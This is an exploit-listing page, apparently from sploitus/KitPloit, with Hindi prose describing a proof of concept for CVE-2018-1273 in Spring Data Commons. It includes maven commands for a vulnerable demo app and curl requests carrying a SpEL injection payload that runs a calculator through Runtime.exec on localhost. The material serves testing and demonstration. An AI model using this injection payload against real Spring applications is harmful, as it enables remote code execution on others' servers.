Exploit for poc

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WEAREARIMA-POC-CVE-2018-1273
# CVE-2018-1273

Spring Data Commons, संस्करण 1.13 से 1.13.10, 2.0 से 2.0.5, और पुराने असमर्थित संस्करणों में एक प्रॉपर्टी बाइंडर भेद्यता है जो विशेष तत्वों के अनुचित न्यूट्रलाइजेशन के कारण होती है। एक अप्रमाणित दूरस्थ दुर्भावनापूर्ण उपयोगकर्ता (या हमलावर) Spring Data REST द्वारा समर्थित HTTP संसाधनों के विरुद्ध विशेष रूप से तैयार किए गए अनुरोध पैरामीटर प्रदान कर सकता है या Spring Data के प्रोजेक्शन-आधारित अनुरोध पेलोड बाइंडिंग का उपयोग कर सकता है, जो दूरस्थ कोड निष्पादन हमले का कारण बन सकता है।

अधिक जानकारी यहाँ

# चलाना

एप्लिकेशन को Spring Data Commons के असुरक्षित संस्करण या सुरक्षित संस्करण के साथ परीक्षण किया जा सकता है।

  * असुरक्षित संस्करण (डिफ़ॉल्ट रूप से):



root@kitploit:~
    
    
    mvn spring-boot:run
    

  * सुरक्षित संस्करण:



root@kitploit:~
    
    
    mvn spring-boot:run -Dfixed
    

# भेद्यता का परीक्षण

यह जाँचने के लिए निम्नलिखित कमांड चलाएँ कि क्या भेद्यता का शोषण किया जा सकता है:

  * विंडोज़ पर:



root@kitploit:~
    
    
    curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
    

  * मैकओएस पर:



root@kitploit:~
    
    
    curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"